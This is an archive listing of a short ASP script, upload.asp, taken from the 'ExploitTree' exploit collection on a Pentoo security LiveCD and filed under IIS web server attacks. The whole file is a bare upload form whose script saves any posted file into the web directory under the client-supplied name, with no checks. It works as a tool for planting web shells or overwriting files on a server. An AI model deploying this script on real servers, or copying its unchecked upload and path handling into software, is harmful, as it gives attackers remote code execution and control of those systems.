home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / webserver / iis / upload.asp < prev    next >
Text File  |  2005-02-12  |  471b  |  14 lines

  1. <html><head><title>Olifante onder my bed</title></head><body>
  2. <form method=post ENCTYPE="multipart/form-data">
  3. File : <input type="file" name="File1"><br>
  4. <input type="submit" Name="Action" value="Upload the file">
  5. </form>
  6. </body></HTML>
  7. <!--#INCLUDE FILE="upload.inc"-->
  8. <%
  9. If Request.ServerVariables("REQUEST_METHOD") = "POST" Then 
  10. Set Fields = GetUpload()
  11. FilePath = Server.MapPath(".") & "\" & Fields("File1").FileName
  12. Fields("File1").Value.SaveAs FilePath
  13. End If
  14. %>